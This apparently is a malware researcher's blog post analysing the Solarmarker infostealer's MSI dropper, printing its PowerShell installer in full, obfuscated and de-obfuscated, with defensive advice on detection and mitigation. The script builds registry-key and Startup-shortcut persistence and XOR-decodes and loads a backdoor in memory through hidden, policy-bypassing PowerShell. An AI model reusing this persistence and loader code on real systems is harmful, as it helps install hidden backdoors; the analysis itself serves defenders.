
Binary: 1197067d50dd5dd5af12e715e2cc00c0ba1ff738173928bbcfbbad1ee0a52f21
Infostealer: 6852699e4420f08ab63a9a4e0b126d73d0ac3d7e21da06ad77bc3fe67c9a2e1f
Backdoor: 8c35f2a78e366abf2450d5882c49c69ee5cc01dba3743938b45cedc2b5dee3a3
This is a follow up blogpost regarding the malware known as Solarmarker / Jupyter Infostealer / Yellow Cockatoo / Polazert. This post can be read on its own but consider reading my first post on Solarmarker that discusses the persistence mechanism for April – May and my second post for information about the lure and the binary. This post will talk about changes starting in September 2021. For simplicity, I am going to refer to the malware as “Solarmarker” but the other names can be important too because they are still in use by the community.
Also, I want to give a big shout out of “Good work!” to the other people giving attention to Solarmarker. Microsoft has been cracking down pretty consistently, often catching the EXE droppers when they are first seen. Cisco Talos has an in-depth look at the DLL, and others have been kind to ping me with any news and interesting sightings. Thank you all.
Objective
The objective of this blogpost is to walk through the initial PowerShell of Solarmarker. I have not seen this documented and published anywhere so this is my attempt to fill this particular gap. This information may help defenders mitigate the initial execution and understand what first happens when the malware is executed.
New Dropper Format
As of the week of September 15, 2021, the dropper has changed formats from an EXE to an MSI executable. This comes with some drawbacks and some benefits.
Drawbacks: when the dropper first changed to the MSI executable, no AV detection engines at VirusTotal detected new dropper as malicious on day one. Detection may be more difficult because MSI executing PowerShell is less suspicious than an EXE executing PowerShell.
Benefit: the MSI dropper appears to give easier access to the initial PowerShell, or it may have been overlooked by the Malware Authors with the recent change. In previous instances, the PowerShell was dropped, read, and deleted very quickly. The latest binary, however, drops the PowerShell without removing it.
Like the EXE droppers, the MSI executes PowerShell when a user attempts to run it, that PowerShell will execute scripts including Solarmarker’s main persistence script.
powershell.exe -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\bob\AppData\Local\Temp\pssCDE3.ps1" -propFile "C:\Users\bob\AppData\Local\Temp\msiCDD0.txt" -scriptFile "C:\Users\bob\AppData\Local\Temp\scrCDD1.ps1" -scriptArgsFile "C:\Users\bob\AppData\Local\Temp\scrCDD2.txt" -propSep " :<->: " -testPrefix "_testValue."
The scrCDD1.ps1 contains the PowerShell that gets the backdoor installed. This post will review this script.
This script has been in use in the last few months, it will likely continue to be used with some variation, and it is a good example of the Malware Author’s tactics. I have included a complete obfuscated and de-obfuscated version of the the script as a part of this blogpost at the end of the post. The reason for this is so that this blog can be found if someone does a Google search based on a static part of the script or if someone wants to try their own hand at de-obfuscating it, or if someone wants to check my work.
The following is a walkthrough of my de-obfuscated version of the script. All variables have been renamed to be human readable; all static methods of avoiding detection have also been removed (for example, the word “PowerShell” has been restored from Solarmarker’s “‘po’+’WE’+’RsH’+’Ell”. The static methods are to avoid systems that look for specific words, but since it is hard to read, they have been removed for the purpose of understanding the script).
Setup
The script does the following: It sets a variable to contain the binary. The bytes of the binary are encoded with their custom encoding and then contained in Base64. Their custom encoding is decoded later with For-Loops. (The binary has been omitted from this blogpost due to its size).
$base64Binary='<OMITTED base64VersionOfTheDLL>';
Two functions are then set up. The first function “generateRandomFunction” is used throughout the script to generate random character strings for use in the file names and the file extensions. It uses letters of the Latin alphabet and generates a string between 10 and 20 characters long.
Function generateRandomFunction {
return -Join ((65..90)+(97..122)|Get-Random -Count (Get-Random -Minimum 10 -Maximum 20)|%{[Char]$_})
}
The second function is used for creating registry keys for persistence. This was discussed some in the last blogpost, but will be discussed further here. The function itself takes two parameters, the name of the registry key and the content to be set in the key. It first checks to see if the path exists and if it does not exist, it will create the registry key. The function will then set the “Value” of the registry key to the content of the 2nd parameter.
function createRegistryKeyFunction { param($regKeyClassExtension1, $regKeyContent); If (-Not (Test-Path "registry::$regKeyClassExtension1".tolower())){ New-Item -Path "registry::$regKeyClassExtension1".tolower() -ItemType RegistryKey -Force; } Set-Item -Path "registry::$regKeyClassExtension1".tolower() -Value $regKeyContent; }
After setting up those functions, the script sets up three random strings that it will use later. It also sets up the file directory which will have both the encoded backdoor and more than a hundred junk files. I’ve called this directory $malwareFileDirectory for convenience but it will sit in the User’s AppData\Microsoft directory and the folder itself will have a random name such as “MnHXTSsWdAQpaZUjY”.
$firstRandomNumber=(generateRandomFunction); $secondRandomNumber=(generateRandomFunction); $thirdRandomNumber=(generateRandomFunction); $malwareFileDirectory="$Env:AppData\Microsoft\"+(generateRandomFunction); New-Item -ItemType Directory -Force -Path $malwareFileDirectory;
The script will set a random number of files between 100 and 300; iterate and count up to that number creating files with random names and file extensions such as “crNYOXGZqIPwtWjA.nCINFkTWJQKcsXMGeB”. However, the first file in the iteration will receive the file extension $thirdRandomNumber because this file is special and will be used later. The files are written to the $malwareFileDirectory and are filled with random bytes: between 50,000 and 200,000 bytes.
$randomNumberOfFiles=Get-Random -Minimum 100 -Maximum 300; For($i=0;$i -lt $randomNumberOfFiles;$i+=1) { $filesWithRandomNames=(generateRandomFunction)+'.'+(generateRandomFunction); if($i -Eq 0){ $filesWithRandomNames=(generateRandomFunction)+'.'+$thirdRandomNumber; $firstRandomNumber=$filesWithRandomNames; } $junkFile=New-Object Byte[] (Get-Random -Minimum 50000 -Maximum 200000); (New-Object Random).NextBytes($junkFile); [System.io.File]::WriteAllBytes($malwareFileDirectory+"\"+$filesWithRandomNames, $junkFile); }
The file containing the encoded backdoor is then created in the malware directory:
$backdoorHoldingfile=$malwareFileDirectory+'\'+$secondRandomNumber+'.'+(generateRandomFunction); [System.IO.File]::WriteAllBytes($backdoorHoldingfile,[System.Convert]::FromBase64String($base64Binary));
The script then preps the command for launching the backdoor that is saved in the registry and all of it is saved in the $commandForRegistry variable. This command will be executed whenever this registry key is called. The registry will have the XOR Key; it will create a variable, $binaryBytes, which will contain the bytes from the $backdoorHoldingFile. When executed, the command will decode the binary using two For-Loops and the XOR key; it will load the binary into memory using System.Reflection.Assembly; and then use the primary method of the backdoor “Interact()” to start the backdoor.
$commandForRegistry="$xorKey='QHJSKEleT2wzWUB9cmk4QHJIfThAVTVQIUB3MWJmQFJnXm9AfThgd0B7XiNlQHx1dlFAc15VM0ByOSthXlFFPThAe0BzKEB1PDY+QH5GUzRAcT4lSUB0ZFRVQHd1YkReUzZlRF5QK15UXjFaZFRAfGM7MF5NYW5mQDFlUXl0RmV5XlFmaGNAVj1zeDwtV0deek9rZTZ1KHFWQHpNUylzblh2SkptNygmUGsmVz1WbXlZcU9rQ083VHdYWEEmZ3JELWhocFk='"+"; $binaryBytes=[System.io.File]::ReadAllBytes('"+$backdoorHoldingfile+"'); For($j=0;$j -LT $binaryBytes.Count;){ For($k=0;$k -lt $xorKey.Length;$k++){ $binaryBytes[$j]=$binaryBytes[$j] -bxor $xorKey[$k]; $j++; if($j -Ge $binaryBytes.Count){ $k=$xorKey.Length}}}; [System.Reflection.Assembly]::Load($binaryBytes); [Mars.Deimos]::Interact()";
The script then sets the two registry keys for persistence. The first registry key set is HKEY_Current_User\Software\Classes\$registryForPersistence\Shell\Open\Command. This is set to execute the $commandForRegistry we saw earlier, and do so using PowerShell. The second registry key is also created: this is HKEY_Current_User\Software\Classes. The purpose of this registry key is to define the file extension: it will use the $thirdRandomNumber generated previously. When called, this registry calls the $registryForPersistence which has the command to execute the backdoor.
$registryForPersistence=(generateRandomFunction); createRegistryKeyFunction -regKeyClassExtension1 ("HKEY_Current_User\Software\Classes\"+$registryForPersistence+"\Shell\Open\Command") -regKeyContent ('PowerShell -WindowStyle Hidden -ep Bypass -command $commandForRegistry+'"'); createRegistryKeyFunction -regKeyClassExtension1 ("HKEY_Current_User\Software\Classes."+$thirdRandomNumber) -regKeyContent $registryForPersistence.ToLower();
Once the registry keys are set, the script prepares and uses wscript to create a shortcut in the “AppData\Microsoft\Windows\Start Menu\Programs\Startup” directory. This shortcut points to the file with the malicious file extension which will in-turn call the backdoor. This shortcut will also be called at Startup because of its presence in this directory.
$wscript=New-Object -comobject wscript.shell; $lnkMaker=$wscript.CreateShortcut($Env:AppData\Microsoft\Windows\Start Menu\Programs\Startup\abfe9e9acdd4c183ad426abc88479.lnK'); $lnkMaker.TargetPath=$malwareFileDirectory + '\' + $firstRandomNumber;$lnkMaker.WindowStyle=7;$lnkMaker.Save();
The script executes the backdoor manually using the Invoke-Expression PowerShell command:
IEX $commandForRegistry;
Take-aways
The main purpose of this post was to make the script used by Solarmarker public, but I would be missing out if I did not provide advice or suggestions.
Stopping it early: The most reliable mitigation I have seen is the use of Endpoint Detection and Response (EDR) products. If implemented correctly, these types of products consistently detect PowerShell when it is executed. Once alerted, the host can be contained to prevent the execution of the infostealer and the backdoor can be removed by removing the files in the temporary directory. The infostealer is often ran 30-60minutes after the initial execution of the malware so containing a host can prevent the infostealer from ever running.
Detecting Infections: Windows Defender and other anti-virus has been able to detect the backdoor and infostealer when they are decoded and used in memory, but because the malware is updated weekly, the signatures in the antivirus must be kept up-to-date. The anti-virus used must detect the binaries in memory: scanning a hard-drive will never identify the backdoor, it may only remove the dropper. However, scanning processes using a YARA rule, such as the one written by Luke Acha, can identify the presence of the backdoor. The infostealer, on the other-hand, is executed by the backdoor and immediately exits. Antivirus will not detect the infostealer unless the infostealer itself is an old version (possible) or the antivirus has appropriate rules to detect the infostealer consistently (I have yet to see this).
Never let it happen: Hosts should have restrictions placed regarding what PowerShell and WScript can be executed. This can be done by enabling the restriction to allow only signed PowerShell scripts.
Training: Employees should be trained to be suspicious of files downloaded from the internet: In the case of the MSI file, the icon for the file displays the same as an MSI and is not a PDF icon (as was the case with the EXE launcher). Employees should be encouraged to report if they downloaded and executed something that they now believe to be potentially malicious.
Logging: PowerShell logging should be enabled on hosts as PowerShell logging will document any PowerShell that is executed. With Solarmarker, PowerShell logging will document the changes to the registry keys and save information regarding executed PowerShell in the Microsoft-Windows-PowerShell\Operational logs. These logs can be reviewed to better understand what PowerShell has been executed on the host, it can be used to confirm whether the infostealer was used or not.
Smart Detection: Detection rules need to be carefully crafted to detect obfuscation methods like those of Solarmarker. Solarmarker uses some techniques such as separating the “$” from variable names and breaking up words to avoid detection that look for variables or specific words.
Network Detection: For those who use AlienVault products such as USM Anywhere, I maintain an OTX Pulse with the IP see I see used by Solarmarker. These IP are set to expire after one month to help reduce false positives from the IP being used in the future. The Solarmarker group use IP addresses for a short amount of time, but detecting the use of an IP from a host can help in detecting an existing backdoor.
Entirety of deobfuscated script
$base64Binary='base64VersionOfTheDLL'; Function generateRandomFunction { return -Join ((65..90)+(97..122)|Get-Random -Count (Get-Random -Minimum 10 -Maximum 20)|%{[Char]$_}) } function createRegistryKeyFunction { param($regKeyClassExtension1, $regKeyContent); If (-Not (Test-Path "registry::$regKeyClassExtension1".tolower())){ New-Item -Path "registry::$regKeyClassExtension1".tolower() -ItemType RegistryKey -Force; } Set-Item -Path "registry::$regKeyClassExtension1".tolower() -Value $regKeyContent; } $firstRandomNumber=(generateRandomFunction); $secondRandomNumber=(generateRandomFunction); $thirdRandomNumber=(generateRandomFunction); $malwareFileDirectory="$Env:AppData\Microsoft\"+(generateRandomFunction); New-Item -ItemType Directory -Force -Path $malwareFileDirectory; $randomNumberOfFiles=Get-Random -Minimum 100 -Maximum 300; For($i=0;$i -lt $randomNumberOfFiles;$i+=1){ $filesWithRandomNames=(generateRandomFunction)+'.'+(generateRandomFunction); if($i -Eq 0) {$filesWithRandomNames=(generateRandomFunction)+'.'+$thirdRandomNumber; $firstRandomNumber=$filesWithRandomNames; } $junkFile=New-Object Byte[] (Get-Random -Minimum 50000 -Maximum 200000); (New-Object Random).NextBytes($junkFile); [System.io.File]::WriteAllBytes($malwareFileDirectory+"\"+$filesWithRandomNames, $junkFile); } $backdoorHoldingfile=$malwareFileDirectory+'\'+$secondRandomNumber+'.'+(generateRandomFunction); $commandForRegistry="$xorKey='QHJSKEleT2wzWUB9cmk4QHJIfThAVTVQIUB3MWJmQFJnXm9AfThgd0B7XiNlQHx1dlFAc15VM0ByOSthXlFFPThAe0BzKEB1PDY+QH5GUzRAcT4lSUB0ZFRVQHd1YkReUzZlRF5QK15UXjFaZFRAfGM7MF5NYW5mQDFlUXl0RmV5XlFmaGNAVj1zeDwtV0deek9rZTZ1KHFWQHpNUylzblh2SkptNygmUGsmVz1WbXlZcU9rQ083VHdYWEEmZ3JELWhocFk='"+"; $binaryBytes=[System.io.File]::ReadAllBytes('"+$backdoorHoldingfile+"'); for($j=0;$j -LT $binaryBytes.Count;){ for($k=0;$k -lt $xorKey.Length;$k++){ $binaryBytes[$j]=$binaryBytes[$j] -bxor $xorKey[$k]; $j++; if($j -Ge $binaryBytes.Count){ $k=$xorKey.Length}}}; [System.Reflection.Assembly]::Load($binaryBytes); [Mars.Deimos]::Interact()"; $registryForPersistence=(generateRandomFunction); createRegistryKeyFunction -regKeyClassExtension1 ("HKEY_Current_User\Software\Classes\"+$registryForPersistence+"\Shell\Open\Command") -regKeyContent ('PowerShell -WindowStyle Hidden -ep Bypass -command $commandForRegistry+'"'); createRegistryKeyFunction -regKeyClassExtension1 ("HKEY_Current_User\Software\Classes."+$thirdRandomNumber) -regKeyContent $registryForPersistence.ToLower(); $wscript=New-Object -comobject wscript.shell; $lnkMaker=$wscript.CreateShortcut($Env:AppData\Microsoft\Windows\Start Menu\Programs\Startup\abfe9e9acdd4c183ad426abc88479.lnK'); $lnkMaker.TargetPath=$malwareFileDirectory + '\' + $firstRandomNumber;$lnkMaker.WindowStyle=7;$lnkMaker.Save(); IEX $commandForRegistry;
Obfuscated Script
Requires -version 3 Param() $ae95f4a09be416a106e56704b41cd='base64VersionOfTheDLL';fuNCTIoN afec728a8d74909c9197268e20ed7 {ReTUrn -jOIn ((65..90)+(97..122)|GET-rAndOM -CounT (gET-RanDoM -mINIMUM 10 -mAximUm 20)|%{[Char]$_})}FuNctiOn a1bfc27588240da5057d648cce73a {paRAM($a4cddd39d174af9f515c7dc6d0611, $ae58e64a161427aaf8a993ed7c3b1);iF (-NOt (teSt-patH "reGIStry::$a4cddd39d174af9f515c7dc6d0611".TOLOWEr())){NEw-iTEM -paTh "rEGiStry::$a4cddd39d174af9f515c7dc6d0611".TOlOWEr() -iTemtYPe ReGiSTrykEy -FOrCE;}SET-ITeM -pATH "REGiStrY::$a4cddd39d174af9f515c7dc6d0611".ToLoWER() -VAlue $ae58e64a161427aaf8a993ed7c3b1;}$a3a2ace16464fe9929c801623d6b8=(afec728a8d74909c9197268e20ed7);$aeda1e01f25468a18a398632b87d7=(afec728a8d74909c9197268e20ed7);$aab8147c70446b9a54cfcafa92c65=(afec728a8d74909c9197268e20ed7);$af9a4a750f249e8735ec99e59cb5e="$enV:ApPDATA\MiCr"+"OsoF"+"t\"+(afec728a8d74909c9197268e20ed7);nEw-ITEm -ITeMTYPE DIreCtORY -FoRcE -PATh $af9a4a750f249e8735ec99e59cb5e;$a3d3c2965be42c8b9c38c6e9a0d66=gET-RaNDOM -minIMum 100 -mAXImuM 300;FOr($a36556e3f7748d842c723825b6230=0;$a36556e3f7748d842c723825b6230 -lt $a3d3c2965be42c8b9c38c6e9a0d66;$a36556e3f7748d842c723825b6230+=1){$a967a2a70e54fabb27a33f52b9caa=(afec728a8d74909c9197268e20ed7)+'.'+(afec728a8d74909c9197268e20ed7);if($a36556e3f7748d842c723825b6230 -Eq 0) {$a967a2a70e54fabb27a33f52b9caa=(afec728a8d74909c9197268e20ed7)+'.'+$aab8147c70446b9a54cfcafa92c65;$a3a2ace16464fe9929c801623d6b8=$a967a2a70e54fabb27a33f52b9caa;}$a2dd84b9d7d428bc47d1afac9ef8a=nEw-OBjECT bytE[] (Get-RAndoM -mInimuM 50000 -mAxImum 200000);(new-ObjeCt RAndoM).NExTBYTES($a2dd84b9d7d428bc47d1afac9ef8a);[SYSteM.io.filE]::wRITEalLbYtES($af9a4a750f249e8735ec99e59cb5e+"\"+$a967a2a70e54fabb27a33f52b9caa, $a2dd84b9d7d428bc47d1afac9ef8a);}$ab288f58e2440eb1d4b0b69c508a8=$af9a4a750f249e8735ec99e59cb5e+'\'+$aeda1e01f25468a18a398632b87d7+'.'+(afec728a8d74909c9197268e20ed7);[SySteM.IO.fIle]::WriTeallBytEs($ab288f58e2440eb1d4b0b69c508a8,[sYsTem.CONVERT]::FRombASe64stRInG($ae95f4a09be416a106e56704b41cd));$a0017400dbd4cdafa75d591214441="$"+"ae898dcfc24431a74b3c1ba635282='QHJSKEleT2wzWUB9cmk4QHJIfThAVTVQIUB3MWJmQFJnXm9AfThgd0B7XiNlQHx1dlFAc15VM0ByOSthXlFFPThAe0BzKEB1PDY+QH5GUzRAcT4lSUB0ZFRVQHd1YkReUzZlRF5QK15UXjFaZFRAfGM7MF5NYW5mQDFlUXl0RmV5XlFmaGNAVj1zeDwtV0deek9rZTZ1KHFWQHpNUylzblh2SkptNygmUGsmVz1WbXlZcU9rQ083VHdYWEEmZ3JELWhocFk='"+";$"+"a84b042eeeb4a4a8a2216c8f5b3aa=[SySTem.io.file]::READAllBytES('"+$ab288f58e2440eb1d4b0b69c508a8+"');foR($"+"ad6c4e2f3ef4f0a84c8f0bdcc186c=0;$"+"ad6c4e2f3ef4f0a84c8f0bdcc186c -LT $"+"a84b042eeeb4a4a8a2216c8f5b3aa.CounT;){FOR($"+"abc7feb99fa43dba4479c37e0a07a=0;$"+"abc7feb99fa43dba4479c37e0a07a -lt $"+"ae898dcfc24431a74b3c1ba635282.lENgth;$"+"abc7feb99fa43dba4479c37e0a07a++){$"+"a84b042eeeb4a4a8a2216c8f5b3aa[$"+"ad6c4e2f3ef4f0a84c8f0bdcc186c]=$"+"a84b042eeeb4a4a8a2216c8f5b3aa[$"+"ad6c4e2f3ef4f0a84c8f0bdcc186c] -bXOr $"+"ae898dcfc24431a74b3c1ba635282[$"+"abc7feb99fa43dba4479c37e0a07a];$"+"ad6c4e2f3ef4f0a84c8f0bdcc186c++;iF($"+"ad6c4e2f3ef4f0a84c8f0bdcc186c -gE $"+"a84b042eeeb4a4a8a2216c8f5b3aa.COuNT){$"+"abc7feb99fa43dba4479c37e0a07a=$"+"ae898dcfc24431a74b3c1ba635282.leNgTh}}};[SY"+"stE"+"m.REf"+"leCTi"+"On.a"+"SSe"+"mbL"+"Y]::L"+"oaD($"+"a84b042eeeb4a4a8a2216c8f5b3aa);[M"+"ArS."+"De"+"Im"+"os]::iN"+"t"+"ErAc"+"t()";$a89a82f37fd4a08a51959e80d722a=(afec728a8d74909c9197268e20ed7);a1bfc27588240da5057d648cce73a -a4cddd39d174af9f515c7dc6d0611 ("hkEy_CUrrenT_UsEr\SOFtWArE\Classes\"+$a89a82f37fd4a08a51959e80d722a+"\SHELl\opEN\COmMaNd") -ae58e64a161427aaf8a993ed7c3b1 ('Po'+'we'+'rsH'+'ElL '+'-'+'wIND'+'OwS'+'tYLe'+' HI'+'dDE'+'n -e'+'p By'+'pAS'+'S -coM'+'MaN'+'d "'+$a0017400dbd4cdafa75d591214441+'"');a1bfc27588240da5057d648cce73a -a4cddd39d174af9f515c7dc6d0611 ("hKey_CurreNt_uSEr\soFTWaRE\CLaSses."+$aab8147c70446b9a54cfcafa92c65) -ae58e64a161427aaf8a993ed7c3b1 $a89a82f37fd4a08a51959e80d722a.ToLoweR();$a114b44bb9d40ab8c2303fbaaa303=nEw-obJECt -ComOBJECT wscript.SHeLL;$abc79dc5df94748ba18da06f256c7=$a114b44bb9d40ab8c2303fbaaa303.crEaTesHoRTcut($ENv:APPDAta+'\M'+'ICR'+'OSo'+'fT'+'\w'+'INd'+'Ow'+'S\'+'st'+'aRt'+' ME'+'nU'+'\PR'+'OgR'+'aMs\'+'st'+'aRT'+'up'+'\abfe9e9acdd4c183ad426abc88479.lnK');$abc79dc5df94748ba18da06f256c7.tARGEtPAtH=$af9a4a750f249e8735ec99e59cb5e+'\'+$a3a2ace16464fe9929c801623d6b8;$abc79dc5df94748ba18da06f256c7.wIndoWstylE=7;$abc79dc5df94748ba18da06f256c7.sAvE();IEX $a0017400dbd4cdafa75d591214441;
3 thoughts on “Solarmarker: Registry Key Persistence Walkthrough”